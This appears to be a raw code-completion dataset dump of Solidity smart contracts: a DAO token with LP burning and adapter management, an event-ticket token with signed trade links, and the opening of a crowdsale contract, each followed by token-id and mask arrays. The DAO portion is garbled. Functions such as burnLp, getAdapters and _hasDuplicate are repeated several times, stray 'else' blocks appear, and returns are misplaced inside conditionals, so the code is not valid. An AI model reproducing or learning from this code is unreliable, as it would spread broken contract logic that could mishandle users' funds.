for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function burnLp(
address _recipient,
uint256 _share,
address[] memory _tokens,
address[] memory _adapters,
address[] memory _pools
) external nonReentrant returns (bool) {
require(lp != address(0), "DAO: LP not set yet");
require(msg.sender == lp, "DAO: only for LP");
require(
!_hasDuplicate(_tokens),
"DAO: duplicates are prohibited (tokens)"
);
for (uint256 i = 0; i < _tokens.length; i++) {
require(
_tokens[i] != lp && _tokens[i] != address(this),
"DAO: LP and GT cannot be part of a share"
);
}
require(_adapters.length == _pools.length, "DAO: adapters error");
if (_adapters.length > 0) {
uint256 length = _adapters.length;
if (length > 1) {
for (uint256 i = 0; i < length - 1; i++) {
for (uint256 j = i + 1; j < length; j++) {
require(
!(_adapters[i] == _adapters[j] &&
_pools[i] == _pools[j]),
"DAO: duplicates are prohibited (adapters)"
);
}
}
}
}
payable(_recipient).sendValue((address(this).balance * _share) / 1e18);
if (_tokens.length > 0) {
uint256[] memory _tokenShares = new uint256[](_tokens.length);
for (uint256 i = 0; i < _tokens.length; i++) {
_tokenShares[i] = ((IERC20(_tokens[i]).balanceOf(
address(this)
) * _share) / 1e18);
}
for (uint256 i = 0; i < _tokens.length; i++) {
IERC20(_tokens[i]).safeTransfer(_recipient, _tokenShares[i]);
}
}
if (_adapters.length > 0) {
uint256 length = _adapters.length;
for (uint256 i = 0; i < length; i++) {
require(
adapters.contains(_adapters[i]),
"DAO: this is not an adapter"
);
require(
permitted.contains(_adapters[i]),
"DAO: this adapter is not permitted"
);
bool b = IAdapter(_adapters[i]).withdraw(
_recipient,
_pools[i],
_share
);
require(b, "DAO: withdrawal error");
}
}
return true;
}
function mint(address _to, uint256 _amount)
external
onlyDao
returns (bool)
{
require(mintable, "DAO: GT minting is disabled");
_mint(_to, _amount);
return true;
}
function burn(address _to, uint256 _amount)
external
onlyDao
returns (bool)
{
require(burnable, "DAO: GT burning is disabled");
_burn(_to, _amount);
return true;
}
function move(
address _sender,
address _recipient,
uint256 _amount
) external onlyDao returns (bool) {
_transfer(_sender, _recipient, _amount);
return true;
}
function disableMinting() external onlyDao returns (bool) {
mintable = false;
return true;
}
function disableBurning() external onlyDao returns (bool) {
burnable = false;
return true;
}
function addAdapter(address a) external onlyDao returns (bool) {
require(adapters.add(a), "DAO: already an adapter");
permitted.add(a);
return true;
}
function removeAdapter(address a) external onlyDao returns (bool) {
require(adapters.remove(a), "DAO: not an adapter");
permitted.remove(a);
return true;
}
function addPermitted(address p) external onlyDao returns (bool) {
require(permitted.add(p), "DAO: already permitted");
return true;
}
function removePermitted(address p) external onlyDao returns (bool) {
require(permitted.remove(p), "DAO: not a permitted");
return true;
}
function setLp(address _lp) external returns (bool) {
require(lp == address(0), "DAO: LP address has already been set");
require(msg.sender == shop, "DAO: only Shop can set LP");
lp = _lp;
return true;
}
function changeQuorum(uint8 _q) external onlyDao returns (bool) {
require(_q >= 1 && _q <= 100, "DAO: quorum should be 1 <= q <= 100");
quorum = _q;
return true;
}
function executedVotingByIndex(uint256 _index)
external
view
returns (ExecutedVoting memory)
{
return executedVoting[_index];
}
function getExecutedVoting()
external
view
returns (ExecutedVoting[] memory)
{
return executedVoting;
}
function getExecutedPermitted()
external
view
returns (ExecutedPermitted[] memory)
{
return executedPermitted;
}
function numberOfAdapters() external view returns (uint256) {
return adapters.length();
}
function containsAdapter(address a) external view returns (bool) {
return adapters.contains(a);
}
function getAdapters() external view returns (address[] memory) {
uint256 adaptersLength = adapters.length();
if (adaptersLength == 0) {
return new address[](0);
address[] memory adaptersArray = new address[](adaptersLength);
for (uint256 i = 0; i < adaptersLength; i++) {
adaptersArray[i] = adapters.at(i);
}
return adaptersArray;
}
}
function getAdapters() external view returns (address[] memory) {
uint256 adaptersLength = adapters.length();
if (adaptersLength == 0) {
return new address[](0);
address[] memory adaptersArray = new address[](adaptersLength);
for (uint256 i = 0; i < adaptersLength; i++) {
adaptersArray[i] = adapters.at(i);
}
return adaptersArray;
}
}
} else {
function getAdapters() external view returns (address[] memory) {
uint256 adaptersLength = adapters.length();
if (adaptersLength == 0) {
return new address[](0);
address[] memory adaptersArray = new address[](adaptersLength);
for (uint256 i = 0; i < adaptersLength; i++) {
adaptersArray[i] = adapters.at(i);
}
return adaptersArray;
}
}
function numberOfPermitted() external view returns (uint256) {
return permitted.length();
}
function containsPermitted(address p) external view returns (bool) {
return permitted.contains(p);
}
function getPermitted() external view returns (address[] memory) {
uint256 permittedLength = permitted.length();
if (permittedLength == 0) {
return new address[](0);
address[] memory permittedArray = new address[](permittedLength);
for (uint256 i = 0; i < permittedLength; i++) {
permittedArray[i] = permitted.at(i);
}
return permittedArray;
}
}
function getPermitted() external view returns (address[] memory) {
uint256 permittedLength = permitted.length();
if (permittedLength == 0) {
return new address[](0);
address[] memory permittedArray = new address[](permittedLength);
for (uint256 i = 0; i < permittedLength; i++) {
permittedArray[i] = permitted.at(i);
}
return permittedArray;
}
}
} else {
function getPermitted() external view returns (address[] memory) {
uint256 permittedLength = permitted.length();
if (permittedLength == 0) {
return new address[](0);
address[] memory permittedArray = new address[](permittedLength);
for (uint256 i = 0; i < permittedLength; i++) {
permittedArray[i] = permitted.at(i);
}
return permittedArray;
}
}
function _hasDuplicate(address[] memory A) internal pure returns (bool) {
if (A.length <= 1) {
return false;
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
}
return false;
}
function _hasDuplicate(address[] memory A) internal pure returns (bool) {
if (A.length <= 1) {
return false;
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
}
return false;
}
} else {
function _hasDuplicate(address[] memory A) internal pure returns (bool) {
if (A.length <= 1) {
return false;
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
}
return false;
}
function _hasDuplicate(address[] memory A) internal pure returns (bool) {
if (A.length <= 1) {
return false;
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
}
return false;
}
function _hasDuplicate(address[] memory A) internal pure returns (bool) {
if (A.length <= 1) {
return false;
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
}
return false;
}
function transfer(address, uint256) public pure override returns (bool) {
revert("GT: transfer is prohibited");
}
function transferFrom(
address,
address,
uint256
) public pure override returns (bool) {
revert("GT: transferFrom is prohibited");
}
event Received(address indexed, uint256);
receive() external payable {
emit Received(msg.sender, msg.value);
}
}
| 11,547,491 | [
1,
29690,
6138,
848,
1720,
2887,
331,
17128,
8646,
20092,
2809,
18305,
511,
52,
1807,
7822,
5267,
17568,
5267,
511,
52,
3155,
5267,
4783,
16105,
1545,
21,
1648,
6625,
3889,
4817,
776,
17128,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
463,
6033,
353,
868,
8230,
12514,
16709,
16,
4232,
39,
3462,
288,
203,
565,
1450,
6057,
25121,
694,
364,
6057,
25121,
694,
18,
1887,
694,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
565,
1450,
5267,
364,
1758,
8843,
429,
31,
203,
565,
1450,
7773,
19748,
364,
1731,
1578,
31,
203,
203,
565,
2254,
1578,
1071,
5381,
776,
1974,
1360,
67,
24951,
273,
890,
4681,
31,
203,
203,
203,
565,
6057,
25121,
694,
18,
1887,
694,
3238,
15498,
31,
203,
203,
565,
6057,
25121,
694,
18,
1887,
694,
3238,
17272,
31,
203,
203,
565,
1758,
1071,
11732,
3272,
31,
203,
203,
565,
1758,
1071,
11732,
12122,
31,
203,
203,
565,
1758,
1071,
12423,
273,
1758,
12,
20,
1769,
203,
203,
565,
2254,
28,
1071,
31854,
31,
203,
203,
163,
249,
235,
163,
249,
235,
282,
225,
163,
249,
235,
163,
249,
235,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
282,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
282,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
1377,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
282,
225,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
163,
249,
235,
282,
225,
163,
249,
2
] |
pragma solidity ^0.4.25; //
contract EntryToken
{
mapping(address => uint256[]) inventory;
uint256[] public spawnedTokens;
mapping(bytes32 => bool) signatureChecked;
address public organiser;
address public paymaster;
string public name;
uint8 public constant decimals = 0; //no decimals as Tokens cannot be split
bool expired = false;
string public state;
string public locality;
string public street;
string public building;
string public symbol;
bytes4 balHash = bytes4(keccak256('balanceOf(address)'));
bytes4 tradeHash =
bytes4(keccak256('trade(uint256,uint256[],uint8,bytes32,bytes32)'));
bytes4 passToHash =
bytes4(keccak256('passTo(uint256,uint256[],uint8,bytes32,bytes32,address)'));
bytes4 spawnPassToHash =bytes4(keccak256('spawnPassTo(uint256,uint256[],uint8,bytes32,bytes32,address)'
));
event Transfer(address indexed _to, uint256 count);
event TransferFrom(address indexed _from, address indexed _to, uint256
count);
event Trade(address indexed seller, uint256[] TokenIndices, uint8 v, bytes32
r, bytes32 s);
event PassTo(uint256[] TokenIndices, uint8 v, bytes32 r, bytes32 s, address
indexed recipient);
modifier organiserOnly()
{
require(msg.sender == organiser);
_;
}
modifier payMasterOnly()
{
require(msg.sender == paymaster);
_;
}
function() payable public { revert(); } //should not send any ether directly
constructor (
uint256[] Tokens,
string buildingName,
string streetName,
string localityName,
string stateName,
string symbolName,
string contractName) public
{
organiser = msg.sender;
paymaster = msg.sender;
inventory[msg.sender] = Tokens;
building = buildingName;
street = streetName;
locality = localityName;
state = stateName;
symbol = symbolName;
name = contractName;
}
function supportsInterface(bytes4 interfaceID) external view returns (bool)
{
if(interfaceID == balHash
|| interfaceID == tradeHash
|| interfaceID == passToHash
|| interfaceID == spawnPassToHash) return true;
return false;
}
function isExpired(uint256 tokenId) public view returns(bool)
{
return expired;
}
function getStreet(uint256 tokenId) public view returns(string)
{
return street;
}
function getBuildingName(uint256 tokenId) public view returns(string)
{
return building;
}
function getState(uint256 tokenId) public view returns(string)
{
return state;
}
function getLocality(uint256 tokenId) public view returns(string)
{
return locality;
}
function getDecimals() public pure returns(uint)
{
return decimals;
}
function name() public view returns(string)
{
return name;
}
function setExpired(uint256[] tokenIds, bool isExpired) public organiserOnly
{
expired = isExpired;
}
function setStreet(uint256[] tokenIds, string newStreet) public
organiserOnly returns(string)
{
street = newStreet;
}
function setBuilding(uint256[] tokenIds, string newBuildingName) public
organiserOnly returns(string)
{
building = newBuildingName;
}
function setState(uint256[] tokenIds, string newState) public organiserOnly
returns(string)
{
state = newState;
}
function setLocality(uint256[] tokenIds, string newLocality) public organiserOnly returns(string)
{
locality = newLocality;
}
// example: 0, [3, 4], 27, "0x9CAF1C785074F5948310CD1AA44CE2EFDA0AB19C308307610D7BA2C74604AE98", "0x23D8D97AB44A2389043ECB3C1FB29C40EC702282DB6EE1D2B2204F8954E4B451"
// price is encoded in the server and the msg.value is added to the message digest,
// if the message digest is thus invalid then either the price or something else in the message is invalid
function trade(uint256 expiry,
uint256[] TokenIndices,
uint8 v,
bytes32 r,
bytes32 s) public payable
{
//checks expiry timestamp,
//if fake timestamp is added then message verification will fail
require(expiry > block.timestamp || expiry == 0);
bytes32 message = encodeMessage(msg.value, expiry, TokenIndices);
address seller = ecrecover(message, v, r, s);
require(seller == organiser); //only contract owner can issue magiclinks
for(uint i = 0; i < TokenIndices.length; i++)
{ // transfer each individual Tokens in the ask order
uint256 index = TokenIndices[i];
assert(inventory[seller][index] != uint256(0)); // 0 means Token gone.
inventory[msg.sender].push(inventory[seller][index]);
// 0 means Token gone.
delete inventory[seller][index];
}
seller.transfer(msg.value);
emit Trade(seller, TokenIndices, v, r, s);
}
function loadNewTokens(uint256[] Tokens) public organiserOnly
{
for(uint i = 0; i < Tokens.length; i++)
{
inventory[organiser].push(Tokens[i]);
}
}
//for new Tokens to be created and given over
//this requires a special magic link format with tokenids inside rather than indicies
function spawnPassTo(uint256 expiry,
uint256[] Tokens,
uint8 v,
bytes32 r,
bytes32 s,
address recipient) public payable
{
require(expiry > block.timestamp || expiry == 0);
bytes32 message = encodeMessageSpawnable(msg.value, expiry, Tokens);
address giver = ecrecover(message, v, r, s);
//only the organiser can authorise this
require(giver == organiser);
require(!signatureChecked[s]);
organiser.transfer(msg.value);
for(uint i = 0; i < Tokens.length; i++)
{
inventory[recipient].push(Tokens[i]);
//log each spawned Token used for a record
spawnedTokens.push(Tokens[i]);
}
//prevent link being reused with the same signature
signatureChecked[s] = true;
}
//check if a spawnable Token that created in a magic link is redeemed
function spawned(uint256 Token) public view returns (bool)
{
for(uint i = 0; i < spawnedTokens.length; i++)
{
if(spawnedTokens[i] == Token)
{
return true;
}
}
return false;
}
function passTo(uint256 expiry,
uint256[] TokenIndices,
uint8 v,
bytes32 r,
bytes32 s,
address recipient) public organiserOnly
{
require(expiry > block.timestamp || expiry == 0);
bytes32 message = encodeMessage(0, expiry, TokenIndices);
address giver = ecrecover(message, v, r, s);
for(uint i = 0; i < TokenIndices.length; i++)
{
uint256 index = TokenIndices[i];
//needs to use revert as all changes should be reversed
//if the user doesnt't hold all the Tokens
assert(inventory[giver][index] != uint256(0));
uint256 Token = inventory[giver][index];
inventory[recipient].push(Token);
delete inventory[giver][index];
}
emit PassTo(TokenIndices, v, r, s, recipient);
}
// Pack value, expiry, Tokens into 1 array
function encodeMessage(uint value, uint expiry, uint256[] TokenIndices)
internal view returns (bytes32)
{
bytes memory message = new bytes(84 + TokenIndices.length * 2);
address contractAddress = getThisContractAddress();
for (uint i = 0; i < 32; i++)
{
message[i] = byte(bytes32(value << (8 * i)));
}
for (i = 0; i < 32; i++)
{
message[i + 32] = byte(bytes32(expiry << (8 * i)));
}
for(i = 0; i < 20; i++)
{
message[64 + i] = byte(bytes20(contractAddress) << (8 * i));
}
for (i = 0; i < TokenIndices.length; i++)
{
message[84 + i * 2 ] = byte(TokenIndices[i] >> 8);
message[84 + i * 2 + 1] = byte(TokenIndices[i]);
}
return keccak256(message);
}
// Pack value, expiry, Tokens into 1 array
function encodeMessageSpawnable(uint value, uint expiry, uint256[] Tokens)
internal view returns (bytes32)
{
bytes memory message = new bytes(84 + Tokens.length * 32);
address contractAddress = getThisContractAddress();
for (uint i = 0; i < 32; i++)
{
message[i] = byte(bytes32(value << (8 * i)));
}
for (i = 0; i < 32; i++)
{
message[i + 32] = byte(bytes32(expiry << (8 * i)));
}
for(i = 0; i < 20; i++)
{
message[64 + i] = byte(bytes20(contractAddress) << (8 * i));
}
for (i = 0; i < Tokens.length; i++)
{
for (uint j = 0; j < 32; j++)
{
message[84 + i * 32 + j] = byte(bytes32(Tokens[i] << (8 * j)));
}
}
return keccak256(message);
}
function getSymbol() public view returns(string)
{
return symbol;
}
function balanceOf(address _owner) public view returns (uint256[])
{
return inventory[_owner];
}
function myBalance() public view returns(uint256[])
{
return inventory[msg.sender];
}
function transfer(address _to, uint256[] TokenIndices) organiserOnly public
{
for(uint i = 0; i < TokenIndices.length; i++)
{
uint index = uint(TokenIndices[i]);
require(inventory[msg.sender][index] != uint256(0));
//pushes each element with ordering
inventory[_to].push(inventory[msg.sender][index]);
delete inventory[msg.sender][index];
}
emit Transfer(_to, TokenIndices.length);
}
function transferFrom(address _from, address _to, uint256[] TokenIndices)
organiserOnly public
{
for(uint i = 0; i < TokenIndices.length; i++)
{
uint index = uint(TokenIndices[i]);
require(inventory[_from][index] != uint256(0));
//pushes each element with ordering
inventory[_to].push(inventory[_from][index]);
delete inventory[_from][index];
}
emit TransferFrom(_from, _to, TokenIndices.length);
}
function endContract() public organiserOnly
{
selfdestruct(organiser);
}
function isStormBirdContract() public pure returns (bool)
{
return true;
}
function getThisContractAddress() public view returns(address)
{
return this;
}
}
| pushes each element with ordering | function transferFrom(address _from, address _to, uint256[] TokenIndices)
organiserOnly public
{
uint index = uint(TokenIndices[i]);
require(inventory[_from][index] != uint256(0));
inventory[_to].push(inventory[_from][index]);
delete inventory[_from][index];
}
emit TransferFrom(_from, _to, TokenIndices.length);
| 15,818,085 | [
1,
6206,
281,
1517,
930,
598,
9543,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
8526,
3155,
8776,
13,
203,
203,
3639,
15501,
15914,
3386,
1071,
203,
203,
3639,
288,
203,
203,
5411,
2254,
770,
273,
2254,
12,
1345,
8776,
63,
77,
19226,
203,
203,
5411,
2583,
12,
26024,
63,
67,
2080,
6362,
1615,
65,
480,
2254,
5034,
12,
20,
10019,
203,
203,
203,
5411,
13086,
63,
67,
869,
8009,
6206,
12,
26024,
63,
67,
2080,
6362,
1615,
19226,
203,
203,
5411,
1430,
13086,
63,
67,
2080,
6362,
1615,
15533,
203,
203,
3639,
289,
203,
203,
3639,
3626,
12279,
1265,
24899,
2080,
16,
389,
869,
16,
3155,
8776,
18,
2469,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; assert(c >= a);
return c;
}
}
contract CinemaCrowdsale is Ownable {
using SafeMath for uint256;
// general variables of crowdsale
address public fundRecipient; // creator may be different than recipient
address project = 0xdd870fa1b7c4700f2bd7f44238821c26f7392148; // address where finelly will be transfer collected
address public CinemaToken;
//ether
uint256 public softcap;
uint256 public hardcap;
uint256 public totalRaised; // amount of collected ether
uint256 public amountRaised; // current contract balance
uint256 public start;
uint256 public period;
uint256 public completeAt; // time to stop collecting ether
Contribution[] contributions;
uint [] timeStageFinance; // time after which can transfer the some part of ether
uint [] percentStageFinance; // percent of the stage
bool [] wasStageBePayd; // was the stage
// start time to payd ether back
uint256 timeToStartExpiredRefund;
// duration of the refund received (1 week)
uint256 periodOfExpiredRefund = 10 * 1 seconds;
event LogFundingReceived(address addr, uint amount, uint currentTotal, uint contribution_id);
event Transfer(address indexed _from, address indexed _to, uint _value);
// if true then may be start to removeContract
bool contractClosed = false;
// investors
struct Contribution {
uint256 amount;
address contributor;
bool wasGetRefund; // it need to get your money only once
bool wasGetDict; // it need to get your disctribution
bool wasOpenVoting; // it need to open voting only once
}
// states of the crowdsale
enum State {
Fundraising, // state of ether collection or before
Successful, // amountRaised was reached a softcap
Closed, // amountRaised was reached a hardcap
ExpiredRefund, // crowdsale is failured or stopped from voting; payment ether back
DivDistribution // dividend payment to investors
}
State state = State.Fundraising; // initialize on create
// check a state
modifier inState(State _state) {
require (state == _state);
_;
}
// financial models of dividend distribution
enum DividendModels {
fixReturn,
fixReturnPerAbove,
fullDividents,
dividentsAutFee
}
DividendModels dividendModel;
uint countInvestors; // amout of investors at the end of ICO
function setDividentModels (uint _dividendModel) private {
if (_dividendModel == 1) {
dividendModel = DividendModels.fixReturn;
}
else if (_dividendModel == 2) {
dividendModel = DividendModels.fixReturnPerAbove;
}
else if (_dividendModel == 3) {
dividendModel = DividendModels.fullDividents;
}
else if (_dividendModel == 4) {
dividendModel = DividendModels.dividentsAutFee;
}
else {
// code with incorrect data
}
}
/**
* @dev Throws if called by any dividendModel other than the current dividendModel.
*/
modifier inDivModel(DividendModels _dividendModel) {
require (dividendModel == _dividendModel);
_;
}
modifier notNull (address _address) {
require(_address != 0x0);
_;
}
/** @dev Interface for creating a contract
*
* param startInUnixTime time of start the crowdsale
* param durationInDays duration of the crowdsale
* param _sopfcap mimimum collected ether than crowdsale was successful
* param _hardcap hardcap of crowdsale
* 1518220800, 30, 5000, 7000, "0xca35b7d915458ef540ade6068dfe2f44e8fa733c"
*/
function CinemaCrowdsale (
/*uint startInUnixTime,
uint durationInDays,
uint _softcap,
uint _hardcap,
address _fundRecipient*/
uint _dividendModels
) public payable {
/*start = startInUnixTime;
period = durationInDays;
fundRecipient = _fundRecipient;
